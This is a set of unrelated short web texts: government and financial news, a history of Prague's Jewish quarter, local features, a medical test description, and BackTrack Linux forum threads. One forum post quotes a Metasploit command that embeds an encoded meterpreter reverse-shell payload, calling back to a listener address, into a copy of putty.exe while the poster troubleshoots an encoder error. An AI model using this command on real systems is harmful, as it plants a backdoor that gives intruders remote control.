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GSA Awards Over 400 IT Contracts to 8(a) Small Businesses
June 3, 2004
Contact: Viki Reath (202) 501-1231
WASHINGTON, DC--The U. S. General Services Administration's Federal Supply Service today announced the award of over 400 information technology contracts to 8(a) certified small businesses. The new 8(a) Streamlined Technology Acquisition Resources for Services [8(a) STARS] is a Government Wide Acquisition Contract (GWAC) designed to help small businesses become successful partners selling to the federal government www.gsa.gov/8astars.
"We at GSA are proud to offer this new portfolio of certified 8(a) small business firms to help the government meet its technology requirements as well as its socioeconomic goals," said FSS Commissioner Donna D. Bennett. "This new contract vehicle furthers GSA's already strong commitment to supporting small business."
The 8 (a) STARS GWAC offers federal agencies a complete set of pre-qualified, 8(a) certified firms to meet their information technology services requirements. Agencies that use the STARS contracts receive 8(a) and other small business credit toward their procurement preference goals.
Individual GSA GWAC centers can authorize contracting officers direct order authority for their specific GWACs to any Federal contracting officer who successfully completes GSA's free continuing education unit (CEU) certified training course for that GWAC. CEU certified training is a hallmark of GSA's efforts to help contracting officers maintain the integrity of the acquisition process. GSA has also applied an extensive contract review and approval process to all of its offerings to ensure that federal agencies have the best and latest contract resources available.
The new 8(a) STARS, managed by GSA's Small Business Government Wide Acquisition Contracts Center in Kansas City, MO, builds on the achievements of its predecessor contract, 8(a) FAST, which is scheduled to expire October 31, 2004. Awarded as 8(a) Federal Acquisition Services for Technology contracts in 1997, these contracts proved to be a tremendous success for the 8(a) business community and the federal government, providing 8(a) contract holders with more than 14,000 orders worth nearly $2 billion in sales since the contracts' inception.
One of the major changes from 8(a) FAST is an expansion of functional areas, from one to eight based on the North American Industrial Classification System, including services such as computer programming, computer facilities management, computer systems design, data processing and telecommunications. 8(a) STARS is a seven-year contract, with a three-year base period and two 2-year option periods. A nationwide rollout is planned, with training opportunities for federal agencies and industry partners.
The award of 8(a) STARS offers many of the awardees an initial opportunity to compete in the federal marketplace. The 8(a) program is a Small Business Administration certification program that offers a broad scope of assistance to socially and economically disadvantaged firms. Firms require certification by SBA before offering on the new GWAC. Additional information about 8(a) STARS is available on the Web at www.gsa.gov/8astars or by calling (877) 327-8732.
GSA is a centralized federal procurement, property management and policy agency created by Congress to improve government efficiency and help federal agencies better serve the public. It acquires, on behalf of federal agencies, office space, equipment, telecommunications, information technology, supplies and services. It also plays a key role in developing and implementing governmentwide policies. GSA, comprised of 13,000 associates, provides services and solutions for the office operations of over one million federal workers located in more than 8,000 government-owned and leased buildings in 2,000 U.S. communities.


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Josefov (also Jewish quarter; Josephstadt in German) is a town quarter and the smallest cadastral area of Prague, today Czech Republic, formerly the Jewish ghetto of the town. It is completely surrounded by Old Town. The quarter is often represented by the flag of Prague's Jewish community, a yellow Magen David (Star of David) on a red field.
Jews are believed to have settled in Prague as early as the 10th century. The first pogrom was in 1096 (the first crusade) and eventually they were concentrated within a walled Ghetto. In 1262 Přemysl Otakar II issued a Statuta Judaeorum which granted the community a degree of self administration. In 1389 one of the worst pogroms saw some 1,500 massacred at Easter Sunday. The ghetto was most prosperous towards the end of the 16th century when the Jewish Mayor, Mordecai Maisel, became the Minister of Finance and a very wealthy man. His money helped develop the ghetto. Around this time the Maharal was supposed to create the Golem.
In 1850 the quarter was renamed "Josefstadt" (Joseph's City) after Joseph II, Holy Roman Emperor who emancipated Jews with the Toleration Edict in 1781. Two years before Jews were allowed to settle outside of the city, so the share of the Jewish population in Josefov decreased, while only orthodox and poor Jews remained living there.
Most of the quarter was demolished between 1893 and 1913 as part of an initiative to model the city on Paris. What was left were only six synagogues, the old cemetery, and the Old Jewish Town Hall (now all part of the Jewish Museum and described below).
With only six synagogues, the old cemetery, and the Old Jewish Town Hall the Nazi German occupation could have been expected to complete the demolishment of the old ghetto. However the area was preserved in order to provide a site for a planned "exotic museum of an extinct race". This meant that the Nazis gathered Jewish artifacts from all over central Europe for display in Josefov.
Currently Josefov is overbuilt with buildings from the beginning of the 20th century, so it is difficult to appreciate exactly what the old quarter was like when it was reputed to have over 18,000 inhabitants.
Historical sites
- Franz Kafka's birthplace.
- High Synagogue (Vysoká synagoga): 16th century synagogue.
- Jewish Town Hall (Židovská radnice): 18th century rococo town hall.
- Klaus Synagogue (Klausova synagoga): 16th century baroque synagogue.
- Maisel Synagogue (Maiselova synagoga): 16th century synagogue destroyed by fire, now used as a museum.
- Pinkas Synagogue (Pinkasova synagoga): 16th century synagogue, now a memorial to Holocaust martyrs.
- Spanish Synagogue (Španělská synagoga): 19th century synagogue with Moorish interior.
- Old Jewish Cemetery (Starý židovský hřbitov): 15th-18th century cemetery. Europe's oldest surviving Jewish cemetery.
- Old New Synagogue (Staronová synagoga): 13th century Gothic synagogue.
- Jewish Ceremonial Hall, Prague (Obřadní síň): 20th century neo-renaissance hall.

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Vanguard to Merge Florida Tax-Exempt Fund, Trims Wellington Expense Ratio
A few items from Vanguard Group this morning. One, the firm is seeking to merge two mutual funds in response to a Florida tax change. Two, expenses for a few notable funds dropped. One is the widely owned Vanguard Wellington Fund (VWELX), which was trimmed to 0.25% for investor-class shares and 0.17% for the admiral-class shares, which carry a higher minimum investment.
The merger would shift the assets of the $950 million Vanguard Florida Focused Long-Term Tax-Exempt Fund (VFLTX) into the $8.2 billion Vanguard Long-Term Tax-Exempt Fund (VWLTX), which the company says is "in response to the elimination of Florida's tax on intangible property." Vanguard called the move "an opportunity to merge into a larger, more diversified fund" -- that's speaking to owners of the Florida fund. Shareholders will have to approve the merger, which comes up at a meeting in July.
The $69 billion Wellington fund saw an expense-ratio reduction of two basis points. Among the other expense-ratio declines, Vanguard Convertible Securities Fund (VCVSX) fell to 0.52%, from 0.59%.
Wellington is one of the few giant mutual funds to consistently outperform the SPDR S&P 500 ETF (SPY) over long stretches, having posted a 6.94% 15-year annualized return, versus the ETF's 4.16%. It's been modestly behind the last three years -- up an annualized 10.31%, versus the ETF's 12.56%.


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have you updated metasploit from svn? Mine works fine with the exact same command.
I'm getting this error while executing the following command (from a video of security tube):
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.18.132 R | ./msfencode -t exe -x /root/putty.exe -k -o /root/putty_bd.exe -e x86/shikata_ga_nai -c 5[*] x86/shikata_ga_nai succeeded with size 318 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 345 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 372 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 399 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 426 (iteration=5)
[-] x86/shikata_ga_nai failed: No .text section found in the template exe ./lib/msf/util/exe.rb:85:in `to_win32pe'./msfencode:212./msfencode:179:in `each'./msfencode:179
What does it mean ? I've seen also the code at line 85 and line 212, but it seems that "text" variable is not set.
I'm running BT4-final on vmware image.
Thanks for any kind of suggestion.
have you updated metasploit from svn? Mine works fine with the exact same command.
I'm using a BT4 on vmware behind a NAT. I'm able to bypass these company's rules (from my PC of course) because as production's team we can use a proxy so I was wondering if it's possible to manually download from https://www.metasploit.com/svn/framework3/trunk and update it manually.
Do you have any ideas?
svn can work through a proxy, Id suggest you look into that. Downloading and transferring manually will be a big PIA.
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The Woods celebrates 171st Commencement
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Saint Mary-of-the-Woods College celebrated academic achievement of its graduates at the 171st commencement ceremony on Saturday, May 5, 2012. Janet Clark, Ph.D., vice president for academic affairs presented 223 students with associate, bachelor's or master's degrees. This year's graduating class included students from 28 states and from three countries – Jordan, Nigeria and Vietnam.
Advertising executive, entrepreneur and a philanthropist, Myra Janco Daniels, one of the most accomplished women in advertising, received an honorary doctorate of humane letters and delivered a powerful commencement address on success.
"To be successful is to be part of a team," explained Daniels. "Successful people give to others and they give to their communities. And when you give, you also receive. That's one of the oldest lessons of human nature, and one that you were taught here. But it's a lesson we often forget."
She encouraged the graduates to discover what they are passionate about, "to always take inventory, recognize opportunity, and take intelligent risks."
Each year the College presents the Distinguished Alumnae Award to graduates who epitomized The Woods tradition of excellence by their professional achievement, personal accomplishments. This year's recipient was Rachel Eberle Ambrose'64 retired Associated Press journalist. She was recognized for her leadership in maintaining a level of career excellence over her lifetime and for her commitment to her alma mater. Ambrose also received an honorary doctorate of humane letters.
After the ceremony was a time for celebration and reflection.
"I am so excited to be here," said Kerry Muñoz, Woods Online education major from Lakeland Fla. "I have two children and I want to show them that you can work hard to achieve your goals."
Muñoz indeed worked hard. She graduated summa cum laude and was the recipient of the Maud Helm Rockwell medal for academic excellence.
Commencement Award Winners
Maud Helm Rockwell Medals for Academic Excellence
Kerry Muñoz - Collierville, Tennessee
Elizabeth Wright - Georgetown, Indiana
Kappa Gamma Pi
St. Catherine Medals
Scott Shelhart Wheatfield, Indiana
Elizabeth Wright - Georgetown, Indiana
Alumni Leadership and Service Medals
Patricia Jones - Oblong, Illinois
Jeffrey Shick - Lawrenceville, Illinois
Elizabeth Wright - Georgetown, Indiana
Alumnae Faculty Leadership Award
Sandra Chappell, associate professor of education
Faculty Excellence Award for Teaching
Patricia Jancosek, associate professor of art
Kerry Muñoz '12
Faculty Excellence Award for Scholarship
Jennie Mitchell, Ph.D., professor of business
Faculty Excellence Award for Service
Michael Boswell, assistant professor of music and director of choirs
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Photo Gallery: Seccombe Lake: A Park in Distress
SAN BERNARDINO - In the shadow of downtown lies a tract of land that has become a vivid symbol of San Bernardino's painful slide from a thriving western city to a broken urban community mired in bankruptcy court.
Seccombe Lake Park is a graffiti-marked and litter-stricken monument to San Bernardino's unkept promises and unfulfilled visions.
"It's a nice park, a beautiful park, but there's no maintenance," said Jose Cuebas, a 30-year-old transplant from Santa Ana.
Cuebas occasionally brings his 2-year-old son to the park. But a visit on one occasion prompted a quick exit.
"There were dead birds everywhere," he said, pointing to a playground where his son played on a brisk Monday morning. "I was like, let's go."
A reminder of the area's decline hit residents last week when a respected high school boys basketball coach was shot in one of the park's parking lots.
Steve Johnson, the heralded floor general of Rialto's Eisenhower High School basketball team and campus athletic director, was shot several times after stopping at the park on the night of Jan. 21.
Briana Pastorino, spokeswoman for Loma Linda Univesity Medical Center, said Wednesday she was not authorized to release information on Johnson's medical condition, and referred the inquiry to Johnson's brother, Phil.
Phil Johnson couldn't be reached for comment.
Family members said Tuesday that Johnson, 47, was in stable condition after undergoing several surgeries.
On the night he was shot, Johnson stopped at a place that even city officials concede has become an emblem of urban decay.
"It's what you think of when you think of San Bernardino," said Kevin Hawkins, director of the city's parks and recreation department. "That park symbolizes the future of San Bernardino. I'm not overstating."
'A very deadly city'
If the park is in fact symbolic of the city's future, as Hawkins suggests, then the future is looking pretty bleak.
Police calls for service at the park over the last six years show a steady pattern of reports on violent crime ranging from strong-arm robberies, carjackings, battery, assault with a deadly weapon, domestic violence, fights and suicidal people.
Police also are routinely called to address myriad nuisance problems at the park, including transients, loitering, drunk in public, suspicious vehicles, indecent exposure, petty thefts, vandalism and illegal dumping.
A recent visit to the park illustrated part of the problem. In the very parking lot where Johnson said he was shot, heaping mounds of trash lay scattered in front of a dumpster.
Trash was also scattered on the grass adjacent to an illuminated baseball diamond as a couple of children scurried about.
Park visitors say it's no place to go when the sun sets. Drug deals are common and folks have seen their share of lewd acts and violence. The few families there during the day leave before night.
"I wouldn't show up here after 8 o'clock," said Michael Patton, 65.
Stephen Tibbetts, a professor of criminal justice at Cal State San Bernardino, who has monitored the city's violent crime for the last 12 years, said the problems at Seccombe Lake Park are an indicator of the larger, systemic problems in the city.
"It just shows how volatile the city can be in terms of the danger that's there," Tibbetts said. "The bottom line is we're just a very deadly city - a very violent city."
Compared to other large cities in Southern California, San Bernardino - with it's 213,000 people - typically has the highest homicide rate per capita, said Tibbetts, adding that the city's homicide rate is usually three times higher than that of the city of Los Angeles.
Last year, the city's 47 killings didn't eclipse the 58 in 2005 but the toll was higher than 2011's 30 homicides.
Tibbetts said the nexus of violent crime in San Bernardino is inherent poverty. Nearly half the citizens of the city are on some kind of welfare, he said.
And parks, along with schools, are havens for violence and other criminal activity, especially in poverty-stricken cities, according to Tibbetts.
Though other parks in the city, like Perris Hill Park for example, continue to endure similar crime and nuisance problems, Tibbetts was at a loss for words as to why the city has failed to curtail the problems at Seccombe Lake Park, which is in the middle of the city's civic hub, less than a mile from City Hall and the Police Department.
Police Chief Robert Handy said other areas of the city with dilapidated infrastructure fare far worse than Seccombe Lake Park.
"If you compared crime in that area to other areas of the city, you'd find crime higher in other areas," Handy said. "We deal with these problems all over the city. Our homeless population, unemployment rates, gang and drug problems all contribute to these issues."
He said the city's lack of general resources is part of the problem. He agrees the park is in need of repair, but in terms of priority, it has fallen off the city's radar in recent years as San Bernardino struggles to provide the bare essential services to residents.
"We're doing everything we can in many areas of the city," said Handy, adding that he doesn't have any plans, as of now, to do anything about the park.
"We lost a lot of our proactive staff . . . and our ability to proactively quell some of these types of conditions that cause crime, we don't have those resources right now," the police chief said.
Tibbetts had an equally pessimistic outlook on the issue. He said given the city's bankruptcy problems, things are likely going to get much worse before they get better.
"I can't see it getting any better if we're suffering cuts across the board. So I don't see how it could get any better at Seccombe Park," Tibbetts said. "I hate to be pessimistic, but I'm trying to be realistic."
Sights on a swamp
Garner's Swamp was a little forest of willow and cottonwood trees in 1942 when Mayor W.C. Seccombe convinced the city to buy 12 1/2 acres of land north of 5th Street between Waterman and Lugo avenues that contained the marshy patch.
Seccombe and his family enjoyed hunting duck in the area and the mayor wanted to turn Garner's Swamp into a city fishing spot.
It opened four years later and was known as Inland Lake for years.
The state in 1987 gave the city $8 million to clean the lake and perhaps overhaul its unsavory reputation in the process.
It lies among 45 acres of parkland - surrounded by Fifth Street and Pioneer Memorial Cemetery, and Sierra Way and Waterman Avenue - which the city took over from the state in 1991.
Generations of politicians have pledged to turn Seccombe Lake Park into an urban jewel. It once was touted as a destination for military families of the former Norton Air Force Base.
Plans included a wave pool for body surfing and rafting, a theatre and a restaurant on the lake. Upscale apartments and condominiums were promised. Single-family homes in a gated community were on a forgotten horizon.
Officials used to mention Seccombe in the same breath as the long-dead Vision 2020 Lakes and Streams project that proposed using ample groundwater under the city to create lakes and streams in San Bernardino and draw visitors and spur economic growth.
Developers and residents in recent years have suggested the park could have a tot lot, coffee kiosks, a dance pavilion and a wedding garden.
Instead, dirty diapers and empty liquor bottles are scattered about in a park where food scraps are strewn among dead grass and tangled weeds. The smell of human waste hangs in the air.
Ducks swim in a lake where dead bodies have been found.
Seventy years after W.C. Seccombe dreamed of turning Garner's Swamp into a central city haven, a beloved basketball coach nearly lost his life in a rancid parking lot across from a cemetery.
'Too much to maintain'
Hawkins came to San Bernardino in 2007. Two days into his job, a body was found in Seccombe Lake.
The park's potential to be a light in the region and its reality as a place to be avoided have kept his attention ever since.
A master plan developed in 2007 with consultant RJM Design Group recommended $6.8 million in improvements for the park - new lights, relocated facilities, new parking spaces - among $77.3 million in recommended changes to the city's parks.
The report laid out various funding sources, including private donations and grants from the federal and state government, but that turned out to be a nonstarter for a department that for the last decade has been among the heaviest hit by budget cuts.
When Hawkins started, he said, his department had one worker for every 16 acres of parkland, compared to an industry standard of one person for every 10 acres. Then the city went through a round of steep budget cuts that reduced that to close to one person per 60 acres.
City budget documents show a 32 percent reduction in the department's staffing level between 2008 and 2012. Then, as part of a 30-percent reduction to most departments as the city filed for bankruptcy and took its first stab at a $45.8 million deficit, another 32 positions were eliminated in September.
In April, the city won $5 million in state funding for a 2.5-acre park for the corner of Ninth and E streets, in an area along the city's planned sbX bus rapid transit line.
Intended to be part of the city's revitalization along that line, the park attracted scores of residents to planning sessions before state and city officials began to worry that the city's bankruptcy jeopardized its ability to pay an estimated $50,000 a year in maintenance and upkeep.
At the city's request, the San Bernardino Valley Municipal Water District voted this month to take over the park and pay for it with money from the water district's water sales and property taxes.
But there just isn't the money to maintain parks the way other cities do, said Jim Morris, son and chief of staff to Mayor Pat Morris.
"It's one of the items that's first on the altar of services that gets cut when you're trying to solve budget problems," he said.
As San Bernardino fights creditors who are trying to convince a judge that the city doesn't deserve bankruptcy protection and should pay all of its bills - something city officials say would force the city to disincorporate - more funding isn't likely, Morris said.
In the case of Seccombe Lake Park, Morris said, creating an attractive park might require shrinking it.
"It simply becomes too much to maintain," he said. "Just having it sort of exist in the state that it is actually makes it a more unsafe place and more of a liability than an asset."
Activity is key to safety, Morris said - even as safety is key to activity.
Maintaining activity and sustained improvement in the park were the main reasons the Urban Conservation Corps of the Inland Empire recently decided to move its headquarters to Seccombe, said program director Sandy Bonilla.
Work crews of five to 10 young adults with one or two supervisors will work from 6 a.m. to 2:30 p.m. five days a week at the park, according to a report given when the City Council approved the work Jan. 7.
"We've been working in the park for several years now, but now (before the shooting of Johnson) we realized we need to have a greater program at the park," Bonilla said.
Because the program, part of the Southern California Mountains Foundation is involved in urban forestry, it receives state funds that Bonilla said can be used to help clean the park.
Occasional large-scale clean-ups are nice, but parks across the city need more consistent work, Hawkins said.
"The bottom line is the entire park system needs additional funding," he said. "We've had beautification day, but there needs to be a dedicated and consistent investment into the park system."
Vandalism, resident homeless and other problems with Perris Hill Park drove resident Debbi Matley to join the city's parks commission in early 2012, and she quickly found the problems were common at many city parks and harder to solve than she realized.
"Parks and rec is a tragedy," said Matley, who is now the commission's president. "You have a parks and recreation staff that is committed and dedicated - there was a time (in 2012) when the city couldn't afford toilet paper, and people were bringing toilet paper and pipes and other things on their own. They're paddling as fast as they can, but there's just not a lot of movement."
A body was found shot in Lytle Creek Park in September, Matley noted, so the problem of violent parks isn't limited to the downtown area.
Volunteers, though, work mostly in the north end of town.
"We need more citizens involved, we really do," Matley said. "You go to neighborhood association meetings, and we have probably 20 active presidents, but that's out of 50-some spots for presidents. We need more citizens if we're going to turn this around.
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Semifinals Set for Allstate Sugar Bowl CYO Basketball Tourney
Thursday, November 29, 2012
The semifinal match-ups are set for the 2012 Allstate Sugar Bowl CYO Basketball Tournament. On Friday evening at Brother Martin High School, the home-standing Crusaders will hoist Jesuit at 6 p.m., followed by Newman against Holy Cross with the winners advancing to the Championship game on Saturday at 7:30 p.m. at Holy Cross. This year marks the 59th year of the tournament and the fifth year that it has been sponsored by the Allstate Sugar Bowl.


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I'm new to Linux and backtrack in particular and I just wanted to say that this is one very useful thread indeed. Sorted my LAN difficulties in seconds.
Cheers xatar
That is because of your /etc/network/interfaces file. If you want them permanently configured with a static ip address you must modify this file in order to achive it. For example, if you have eth0 and in the file you find something like this 'iface eth0 inet dhcp' that means that dhcp will run everytime you start networking. Instead you should prefer something like that 'iface eth0 inet static' <- this way you teach eth0 to be static, and in the line below 'address xxx.xxx.xxx.xxx', 'netmask xxx.xxx.xxx.xxx' and 'gateway xxx.xxx.xxx.xxx' all of them in separated lines.
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I'm new to Linux and backtrack in particular and I just wanted to say that this is one very useful thread indeed. Sorted my LAN difficulties in seconds.
Cheers xatar
many thanks its help us good
I m using acer aspire 3682NWXCI...
my problem:
how to setup acer acpi on back track.?
i had try a few time it wont work..it give...error no such device..
pls help me.....
Hello All,
I have a question here. When BT 2 is booting it comes to a point that it tries to get an IP by doing a dhcpcd on all available network interfaces. I connect wireless to my AP which is obviously secured with a wep key . So the dhcpcd fails and adds quite some seconds to the boot time. When BT 2 is up and running i can configure my wlan card, so set my wep key and connect to my AP succesfully.
What i actually want is to predefine my wep key and SSID , so that BT 2 can automatically connect to my AP at boot time and only does a dhcpcd on this particular NIC. Is there a way to achieve this?
Thanks in advance!
I would recomend using the nodhcp boot code then creating a script with your desired commands (don't forget make it executable) and adding it to /etc/rc.d/rc.local (the last script to be run on startup) with something like this:
Alternately you can use the /etc/rc.d/rc.wireless script. You can find some info on editing the conf file here (section 23.4).Code:# Start wireless config script if [ -x /path/to/script.sh ]; then . /path/to/script.sh fi
Thanks for your help. Is there also a way to make the nodhcp default?
Honestly I just commented out that section of code in /etc/rc.d/rc.inet1 like this:
Code:#! /bin/sh # /etc/rc.d/rc.inet1 # This script is used to bring up the various network interfaces. # # Modified for SLAX by Tomas M. <http://slax.linux-live.org> # # /proc/cmdline 'nodhcp' option added by Martin J. Muench <firstname.lastname@example.com> if [ "$1" = "start" -o "$1" = "" ]; then ifconfig lo down 2>/dev/null /sbin/ifconfig lo 127.0.0.1 2>/dev/null /sbin/route add -net 127.0.0.0 netmask 255.0.0.0 lo 2>/dev/null # check if 'nodhcp' was set # if ! grep -w -q "nodhcp" /proc/cmdline ; then # # for eth in `ls /sys/class/net | grep -v sit`; do # check if dhcpcd is not already running for $eth interface, # in that case it was started by hotplug so don't start it again # if [ "$eth" != "lo" -a ! -e /etc/dhcpc/dhcpcd-$eth.pid ]; then # echo "/sbin/dhcpcd -d -t 10 $eth" # /sbin/dhcpcd -d -t 10 $eth # fi # done # fi fi
Well...i added my card in the /etc/rc.d/rc.wireless.conf with all applicapble parameters. I also modified /etc/rc.d/rc.inet1 just like you did, to disable the dhcpcd on boot. However, after a reboot, the laptop came to the point that the mousepointer appeared and then it automatically shutdown....
Even the failsafe & a attempt to boot from livecd failed with the same result . So i ended up reinstalling BT 2 all over again.
So people, Don't try this at home
I seached a long time here in the forum. Maybe I´m blind. I just want to get my wireless to work. Because I find a bit hard with all the commands in the shell (Windows Noob I know) I tryed with the.Code:wlassistant
It says:. I clickCode:Radio of your wireless card is off. Would you like to turn it on?Nothing happens.Code:Yes
Before that, I tryed to config by the console. Thats what I did:
After that a symbole in the 'tray' appears for a network connection.Code:ifconfig eth0 up ifconfig eth0 192.168.1.54 netmask 255.255.255.0 route add default gw 192.168.1.1 eth0 echo nameserver 192.168.1.1 > /etc/resolv.conf
But I can´t go on any websites with f.fox.
Strange thing is, that the LED from my WLAN is NOT on. (Normally orange light)
I have a ACER Notebook: Travel MAte 291 LMi
Wlan Card: ipw2100 (Intel Pro Wireless 2100)
And if I typethere comesCode:iwconfig -a.Code:No such device
If I type onlyI haveCode:iwconfig
I had this Problem with windows, too long time ago. I needed a driver for this switch on the notebook.Code:eth0 unassorciated ESSID:off/any Nickname:"ipw2100 Mode:Managed Channel=0 Acsess Point 00:00:00:00:00:00 Bit Rate=0 kb/s Tx-Power:off .....
Maybe you have another Tutorial link for me. This Tutorial is very usefull although my inet doesn't work


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Movie star Halle Berry—recently visible on big screens and small as Catwoman, a Bond girl and a makeup model—delivered that tearful "this moment is so much bigger than me" speech in 2002, after winning the first Oscar awarded to an African-American actress. Berry's mixed heritage is well-known: She's said, "I don't see a white woman. I see a black woman, even though my mother is white."
Although Berry sees herself as African-American, knowing her mother's European heritage was a genealogical advantage for me. I reached back 12 generations and found lots of links to a variety of famous folk. Through John Perkins, an early-1600s settler of Ipswich, Mass., Berry can count actors Richard Gere and Montgomery Clift among her 10th cousins once removed (for the juicy details on Gere's ancestry, see the December 2004 Family Tree Magazine.) The same colonial ancestor makes her a ninth cousin twice removed to playwright Thomas Lanier "Tennessee" Williams and a sixth cousin four times removed to 13th US President Millard Fillmore.


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Six Arrested For Trashing Ex-NFL Player's House, More Arrests To Come
(Ben Yakas) Six teens and young adults were arrested yesterday for their part in the massive Labor Day weekend bash that took place at former pro football player Brian Holloway's upstate NY home. The six people—who range in age from 17 to 21—were arrested Thursday after Holloway, a former Patriots and Raiders offensive lineman, signed papers authorizing the local sheriff to bring charges for the party, which caused thousands of dollars of damage to this house. "Everyone that broke the law, I'm pressing charges against," Holloway said. "The parents had a chance and students had a chance to come forward, and only four did."
Holloway re-posted photographs of many of the teens on a site called HelpMeSave300.com in an attempt to "teach our kids to be accountable." He also asked for the teens to come to a picnic for veterans at the home to help clean it up—in the end, only a few teens did. "I tried to be as accommodating as I could, but they took their stand by not showing up," Holloway said.
Police said the ringleader of the party was 19-year-old Seth Hawk, whom Holloway said he had taken into his family a few years ago. Hawk faces felony charges of burglary and criminal mischief and misdemeanor charges of endangering the welfare of a child and unlawfully dealing with a child. He's also accused of advertising the party and supplying the alcohol.
The other suspects are also facing a variety of charges, including second-degree criminal trespass and felony fourth-degree grand larceny.
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Downtown Businesses May Be Asked to Cover Streetcar Deficit
The board of trustees of Via Metro Transit is again looking at levying a tax on downtown property owners as a way to close the $70 million gap between the projected cost of the controversial downtown streetcar system and the amount Via has in the bank, 1200 WOAI news reports.
Via Trustee Lou Miller says he has asked Via staff to put together a plan for a taxing district to collect money from businesses along the route which consultants have recommended for the streetcar.
"The possibilities of having a Downtown Transportation Development District, which would also help fund it," Miller told 1200 WOAI news.
Downtown business and property owners have already rejected one call to help pay for the streetcar, but Miller says other cities, he cited Kansas City, have built their downtown streetcars largely by taxing the property owners who would benefit from that streetcar.
"They taxed the downtown district, the developers and businesses who were going to benefit from the streetcar," he said.
Miller says the federal government will also help provide the money Via needs to build the streetcar route, which is the most expensive of the six routes considered.
He says already having $210 million in the bank will convince federal transportation planners to invest in the San Antonio project, rather than in others which might not be as well capitalized, and he pointed out that Texas and San Antonio are both among the fastest growing regions in the country, which would also justify additional federal support of mobility projects.
He says Via will build the streetcar 'in stages' so construction can begin on time as scheduled.
"We will being in phases, so we will have money leveraged for the federal government when they come out with additional grants for transportation," he said.
Meanwhile, Via has responded to State Rep Lyle Larson (R-San Antonio) who on Monday recommended that the streetcar project be scrapped entirely.
"Cities with streetcar systems have seen the promises of such systems unfold," Via said. "These networks have experienced ridership that has exceeded estimates and spurred economic development in the vicinity of the routes, and we expect similar success for San Antonio," Via said.


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Dec 18, 1964
After heavy snowfall and record rains, central Oregon was swamped with a once-every-thousand-years flood. More than 30 bridges became impassable and sections of Salem's surrounding highways were underwater. Water pressure from sewers shot gushing waste water out of manholes. Over 100 patients were evacuated from a hospital. After floodwater swamped a sewage treatment plant, raw sewage began flowing into the Willamette River. One man died when a bridge collapsed. The National Weather Service called it "the most severe rainstorm" in central Oregon's history.


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Lawsuit claims Obamacare crushing small employers
The 2010 Patient Protection and Affordable Care Act radically hikes small-business costs, impoverishes states and violates the plain language of the U.S. Constitution, claims a lawsuit filed Tuesday in Houston, Texas.
Steven F. Hotze, a Katy-based allergist and immunologist, says the Affordable Care Act, popularly called Obamacare, forces his wellness center to pay enormous costs for its 73 employees. His suit challenges the law on three main grounds.
Hotze's lawsuit claims that by forcing Americans to buy private insurance, Obamacare violates the Fifth Amendment's Takings Clause, which holds that private property can only be taken for a "public use" and with just compensation for the property owner.
The suit also claims that the Affordable Care Act is unconstitutional because revenue-raising laws and taxes must originate in the House of Representatives. In the 5-4 decision upholding Obamacare, Chief Justice John Roberts ruled that the law's penalty on the uninsured is a tax.


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"Lilly… Ledbetter…" we whisper to ourselves as we frown at men.
Equal Rights: Ledbetter v. Goodyear, which made it harder for (female) employees to sue employers on equal-pay grounds.
We were accompanied by General Ledbetter the engineer, and we were six hours visiting the forts.
General Ledbetter was stationed at Chattanooga with about three thousand men.
When he thought of the chances against him, Mr. Ledbetter despaired.
Was he—Mr. Ledbetter—really, after all, so brave as he assumed?
Presently the smell of burning cream-laid paper mingled with the odour of cigars in Mr. Ledbetter's nostrils.
"My duty to my fellow-men forbids," said Mr. Ledbetter's self-respect.
He appeared to be now in a less aggressive mood, and having watched Mr. Ledbetter for some time, he offered a few remarks.
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MATH & CS Department Seminar: Rambling in MATH 115 - A new algorithm
| February 6, 2013
Mathematics and Computer Science professor Dr. David Berry will discuss his experiences teaching MATH 115 at Xavier. He says:
MATH 115, Topics in Applied Mathematics, has always been a joy to teach. For the length of each classroom meeting, I am totally lost in sharing one of the most pleasurable of all subjects: Mathematics. Join me as I ramble through some of the topics that have given me such joy. See a new algorithm that saved me from utter despair as I developed the online version of this course. All in all, it has been a walk in the park for me.
This event will take place on Wednesday, February 20 at 1:30pm in G27 Smith Hall. Light refreshments will be available 15 minutes prior to the start of seminar.


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LONG BEACH -- A 60-year-old Department of Water and Power employee was found dead early Saturday at a generating station in Long Beach, a utility spokesman said.
The man, identified as Vincent Martinez by the Los Angeles County Coroner, was found dead about 1:30 a.m. at the facility's Haynes Generating Station.
The body was discovered in an area of the plant located away from construction activity currently underway, said Joseph Ramallo of the Department of Water and Power.
A cause of death has not been determined, according to the Coroner's office.
The plant uses natural gas to generate steam that powers generating turbines, and it is currently being extensively remodeled to eliminate the use of ocean water to cool the plant. It was generating electricity this week, Ramallo said.
"This is a tragic loss and tragedy for our employee's family and our entire LADWP family," said Aram Benyamin, Senior Assistant General Manager, Power. "Our hearts go out to the family, friends and co-workers of our employee. "
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A rectal biopsy is a procedure to remove a small piece of rectal tissue for examination.
How the Test is Performed
A rectal biopsy is usually part of anoscopy or sigmoidoscopy.
A digital rectal exam is done first. Then, a lubricated instrument (anoscope or proctoscope) is placed into the rectum. You will feel some discomfort when this is done.
A biopsy can be taken through any of these instruments.
How to Prepare for the Test
You may get a laxative, enema, or other preparation before the biopsy so that you can completely empty your bowels. This will allow the doctor a clear view of the rectum.
How the Test Will Feel
There will be some discomfort during the procedure. You may feel like you need to have a bowel movement. You may feel cramping or mild discomfort as the instrument is placed into the rectal area.
Why the Test is Performed
A rectal biopsy is used to determine the cause of abnormal growths found during anoscopy, sigmoidoscopy, or other tests. It can also be used to confirm the diagnosis of amyloidosis.
Normal Results
The anus and rectum appear normal in size, color, and shape. There should be no evidence of bleeding, polyps, hemorrhoids, or other abnormalities. No problems are seen when the biopsy tissue is examined under a microscope.
What Abnormal Results Mean
This test is a common way to confirm amyloidosis. It also determines the specific causes of abnormal conditions of the rectum, such as colitis. Other findings could include:
- Abscesses
- Colorectal polyps
- Infection
- Inflammation
- Tumors
The test may be also performed for:
There is some risk of bleeding and tearing. Occasionally, patients may develop difficulty with urination after the procedure.
Review Date: 12/10/2012
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Scholars from USC's College of Arts and Sciences honored
Two scholars from the College of Arts and Sciences at the University of South Carolina have been honored.
Dr. Larry Glickman, chairman of the history department, has been named a distinguished lecturer for the Organization of American Historians, one of the top professional associations for historians. Glickman, a Carolina Trustee Professor, specializes in U.S. labor and cultural history and the history of consumerism. He is the author of "The Cultural Turn in U.S. History," an anthology, and "Buying Power: A History of Consumer Activism in America." Under his leadership, the college launched the History Center at the university last fall.
